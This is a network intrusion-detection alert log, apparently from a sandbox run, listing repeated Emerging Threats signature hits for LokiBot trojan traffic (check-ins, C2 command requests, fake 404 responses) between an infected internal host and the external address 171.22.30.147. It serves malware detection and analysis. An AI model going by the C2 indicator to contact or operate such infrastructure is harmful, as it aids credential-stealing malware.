192.168.2.3171.22.30.14749989802024313 01/05/23-08:53:37.099082	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49989	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749862802025381 01/05/23-08:52:59.436708	TCP	2025381	ET TROJAN LokiBot Checkin	49862	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498902025483 01/05/23-08:53:07.016304	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49890	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749941802024313 01/05/23-08:53:22.165125	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49941	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749816802025381 01/05/23-08:52:45.483412	TCP	2025381	ET TROJAN LokiBot Checkin	49816	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749939802025381 01/05/23-08:53:21.632432	TCP	2025381	ET TROJAN LokiBot Checkin	49939	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749941802024318 01/05/23-08:53:22.165125	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49941	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749747802021641 01/05/23-08:52:24.577114	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749898802021641 01/05/23-08:53:09.845609	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49898	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750014802021641 01/05/23-08:53:43.719267	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50014	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749801802025381 01/05/23-08:52:41.371912	TCP	2025381	ET TROJAN LokiBot Checkin	49801	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749742802021641 01/05/23-08:52:23.189713	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750070802021641 01/05/23-08:54:00.166694	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50070	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497582025483 01/05/23-08:52:27.844272	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49758	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749785802021641 01/05/23-08:52:36.951784	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49785	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749811802025381 01/05/23-08:52:44.140113	TCP	2025381	ET TROJAN LokiBot Checkin	49811	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749897802825766 01/05/23-08:53:09.055046	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49897	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749819802021641 01/05/23-08:52:46.293306	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49819	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749834802025381 01/05/23-08:52:50.512718	TCP	2025381	ET TROJAN LokiBot Checkin	49834	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498552025483 01/05/23-08:52:57.599001	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49855	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750024802021641 01/05/23-08:53:47.812882	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50024	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749711802025381 01/05/23-08:52:12.061796	TCP	2025381	ET TROJAN LokiBot Checkin	49711	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749719802021641 01/05/23-08:52:15.841614	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49719	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749929802025381 01/05/23-08:53:18.948979	TCP	2025381	ET TROJAN LokiBot Checkin	49929	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498442025483 01/05/23-08:52:54.638029	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49844	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499862025483 01/05/23-08:53:36.369726	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49986	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750042802021641 01/05/23-08:53:52.687057	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50042	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749906802025381 01/05/23-08:53:12.686115	TCP	2025381	ET TROJAN LokiBot Checkin	49906	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749899802024318 01/05/23-08:53:10.169881	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49899	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750010802024318 01/05/23-08:53:42.643021	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50010	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749899802024313 01/05/23-08:53:10.169881	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49899	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749856802024313 01/05/23-08:52:57.793570	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49856	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749892802825766 01/05/23-08:53:07.470439	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49892	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750079802825766 01/05/23-08:54:02.588823	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50079	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749806802025381 01/05/23-08:52:42.779655	TCP	2025381	ET TROJAN LokiBot Checkin	49806	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749846802825766 01/05/23-08:52:55.097334	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49846	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749780802021641 01/05/23-08:52:35.511333	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49780	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749715802024313 01/05/23-08:52:14.021138	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49715	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749866802024313 01/05/23-08:53:00.520534	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49866	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749710802024313 01/05/23-08:52:11.662757	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49710	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499152025483 01/05/23-08:53:15.200997	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49915	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749710802024318 01/05/23-08:52:11.662757	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49710	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749866802024318 01/05/23-08:53:00.520534	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49866	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749959802825766 01/05/23-08:53:28.075379	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49959	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749828802024313 01/05/23-08:52:48.735651	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49828	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749872802025381 01/05/23-08:53:02.084337	TCP	2025381	ET TROJAN LokiBot Checkin	49872	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749724802021641 01/05/23-08:52:18.098497	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49724	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749794802024313 01/05/23-08:52:39.439392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749828802024318 01/05/23-08:52:48.735651	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49828	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499042025483 01/05/23-08:53:12.229759	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49904	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750052802021641 01/05/23-08:53:55.369344	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50052	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749741802825766 01/05/23-08:52:22.916909	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49741	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749794802024318 01/05/23-08:52:39.439392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49794	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749818802825766 01/05/23-08:52:46.013246	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49818	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749894802024313 01/05/23-08:53:08.006895	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49894	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749985802025381 01/05/23-08:53:36.027311	TCP	2025381	ET TROJAN LokiBot Checkin	49985	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749752802021641 01/05/23-08:52:26.039085	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750080802021641 01/05/23-08:54:02.852694	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50080	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749813802825766 01/05/23-08:52:44.686594	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49813	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749894802024318 01/05/23-08:53:08.006895	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49894	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750010802024313 01/05/23-08:53:42.643021	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50010	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749912802825766 01/05/23-08:53:14.329479	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49912	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749705802024318 01/05/23-08:52:09.363911	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49705	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749950802021641 01/05/23-08:53:24.624259	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49950	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750057802024313 01/05/23-08:53:56.743180	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50057	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750077802025381 01/05/23-08:54:02.067623	TCP	2025381	ET TROJAN LokiBot Checkin	50077	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750049802025381 01/05/23-08:53:54.543372	TCP	2025381	ET TROJAN LokiBot Checkin	50049	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499262025483 01/05/23-08:53:18.232650	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49926	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749997802825766 01/05/23-08:53:39.208772	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49997	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749733802024318 01/05/23-08:52:20.679095	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49733	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750000802024318 01/05/23-08:53:39.996140	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50000	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750067802024318 01/05/23-08:53:59.373237	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50067	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749733802024313 01/05/23-08:52:20.679095	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49733	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749851802021641 01/05/23-08:52:56.435777	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49851	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749969802825766 01/05/23-08:53:31.782144	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49969	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750000802024313 01/05/23-08:53:39.996140	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50000	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750029802024318 01/05/23-08:53:49.112211	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50029	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749715802024318 01/05/23-08:52:14.021138	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49715	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750006802024313 01/05/23-08:53:41.552586	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50006	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749963802825766 01/05/23-08:53:30.141323	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49963	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749940802825766 01/05/23-08:53:21.893765	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49940	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750006802024318 01/05/23-08:53:41.552586	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50006	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750029802024313 01/05/23-08:53:49.112211	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50029	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749874802825766 01/05/23-08:53:02.624496	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49874	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749761802024318 01/05/23-08:52:28.591148	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49761	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749922802021641 01/05/23-08:53:17.061545	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49922	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749979802021641 01/05/23-08:53:34.430839	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49979	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749761802024313 01/05/23-08:52:28.591148	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49761	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749838802024318 01/05/23-08:52:52.824149	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49838	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749743802024313 01/05/23-08:52:23.467755	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49743	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749743802024318 01/05/23-08:52:23.467755	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49743	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749838802024313 01/05/23-08:52:52.824149	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49838	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749735802025381 01/05/23-08:52:21.259701	TCP	2025381	ET TROJAN LokiBot Checkin	49735	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749995802025381 01/05/23-08:53:38.676723	TCP	2025381	ET TROJAN LokiBot Checkin	49995	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749823802021641 01/05/23-08:52:47.379297	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49823	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749910802025381 01/05/23-08:53:13.740225	TCP	2025381	ET TROJAN LokiBot Checkin	49910	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497692025483 01/05/23-08:52:30.909539	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49769	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749771802024318 01/05/23-08:52:31.374001	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49771	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749864802825766 01/05/23-08:52:59.960618	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49864	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749771802024313 01/05/23-08:52:31.374001	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49771	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749969802021641 01/05/23-08:53:31.782144	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49969	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497472025483 01/05/23-08:52:24.664652	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49747	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750002802025381 01/05/23-08:53:40.505314	TCP	2025381	ET TROJAN LokiBot Checkin	50002	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749889802024313 01/05/23-08:53:06.674333	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49889	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497362025483 01/05/23-08:52:21.623629	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49736	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749967802025381 01/05/23-08:53:31.230819	TCP	2025381	ET TROJAN LokiBot Checkin	49967	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749889802024318 01/05/23-08:53:06.674333	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49889	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749836802825766 01/05/23-08:52:51.681664	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49836	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749707802025381 01/05/23-08:52:10.342729	TCP	2025381	ET TROJAN LokiBot Checkin	49707	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749937802024318 01/05/23-08:53:21.090422	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49937	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497252025483 01/05/23-08:52:18.471891	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49725	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749890802025381 01/05/23-08:53:06.934564	TCP	2025381	ET TROJAN LokiBot Checkin	49890	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749699802825766 01/05/23-08:52:06.870270	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49699	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749991802825766 01/05/23-08:53:37.629731	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49991	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750057802024318 01/05/23-08:53:56.743180	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50057	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750059802025381 01/05/23-08:53:57.279795	TCP	2025381	ET TROJAN LokiBot Checkin	50059	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750030802025381 01/05/23-08:53:49.383588	TCP	2025381	ET TROJAN LokiBot Checkin	50030	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749705802024313 01/05/23-08:52:09.363911	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49705	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749879802021641 01/05/23-08:53:03.965987	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49879	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749919802024313 01/05/23-08:53:16.188265	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49919	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749950802024318 01/05/23-08:53:24.624259	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49950	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750050802825766 01/05/23-08:53:54.799294	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50050	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749807802025381 01/05/23-08:52:43.044779	TCP	2025381	ET TROJAN LokiBot Checkin	49807	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749817802825766 01/05/23-08:52:45.747633	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49817	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749773802025381 01/05/23-08:52:31.909319	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498172025483 01/05/23-08:52:45.827002	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49817	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749824802024313 01/05/23-08:52:47.639113	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49824	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749950802024313 01/05/23-08:53:24.624259	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49950	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749722802825766 01/05/23-08:52:17.506386	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49722	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749919802024318 01/05/23-08:53:16.188265	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49919	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499422025483 01/05/23-08:53:22.531244	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49942	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750076802021641 01/05/23-08:54:01.789357	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50076	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749751802021641 01/05/23-08:52:25.762510	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749905802025381 01/05/23-08:53:12.409052	TCP	2025381	ET TROJAN LokiBot Checkin	49905	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749755802825766 01/05/23-08:52:26.961334	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49755	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749712802025381 01/05/23-08:52:12.436257	TCP	2025381	ET TROJAN LokiBot Checkin	49712	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497552025483 01/05/23-08:52:27.042461	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49755	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749810802025381 01/05/23-08:52:43.863274	TCP	2025381	ET TROJAN LokiBot Checkin	49810	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499012025483 01/05/23-08:53:11.433874	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49901	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749975802024318 01/05/23-08:53:33.363507	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49975	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750023802021641 01/05/23-08:53:47.546596	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50023	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749880802024313 01/05/23-08:53:04.232334	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49880	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749762802024313 01/05/23-08:52:28.868227	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49762	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749880802024318 01/05/23-08:53:04.232334	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49880	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749975802024313 01/05/23-08:53:33.363507	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49975	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749863802025381 01/05/23-08:52:59.703117	TCP	2025381	ET TROJAN LokiBot Checkin	49863	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749762802024318 01/05/23-08:52:28.868227	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49762	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749958802025381 01/05/23-08:53:27.233105	TCP	2025381	ET TROJAN LokiBot Checkin	49958	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750043802021641 01/05/23-08:53:52.949985	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50043	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749900802025381 01/05/23-08:53:10.997847	TCP	2025381	ET TROJAN LokiBot Checkin	49900	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749748802021641 01/05/23-08:52:24.879047	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49748	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749994802025381 01/05/23-08:53:38.408241	TCP	2025381	ET TROJAN LokiBot Checkin	49994	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750019802825766 01/05/23-08:53:45.311637	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50019	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497962025483 01/05/23-08:52:40.072266	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49796	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497922025483 01/05/23-08:52:38.965247	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49792	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749784802021641 01/05/23-08:52:36.673037	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49784	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749927802024313 01/05/23-08:53:18.426652	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49927	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750001802024313 01/05/23-08:53:40.243949	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50001	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749927802024318 01/05/23-08:53:18.426652	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49927	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749781802025381 01/05/23-08:52:35.821668	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750055802825766 01/05/23-08:53:56.183544	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50055	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498062025483 01/05/23-08:52:42.859984	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49806	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749925802025381 01/05/23-08:53:17.874226	TCP	2025381	ET TROJAN LokiBot Checkin	49925	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749841802021641 01/05/23-08:52:53.743125	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49841	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750001802024318 01/05/23-08:53:40.243949	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50001	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749837802825766 01/05/23-08:52:51.988001	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49837	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749717802025381 01/05/23-08:52:14.673219	TCP	2025381	ET TROJAN LokiBot Checkin	49717	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749935802825766 01/05/23-08:53:20.565175	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49935	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749988802024318 01/05/23-08:53:36.817903	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49988	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750045802025381 01/05/23-08:53:53.481872	TCP	2025381	ET TROJAN LokiBot Checkin	50045	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750081802025381 01/05/23-08:54:03.233046	TCP	2025381	ET TROJAN LokiBot Checkin	50081	80	192.168.2.3	171.22.30.147
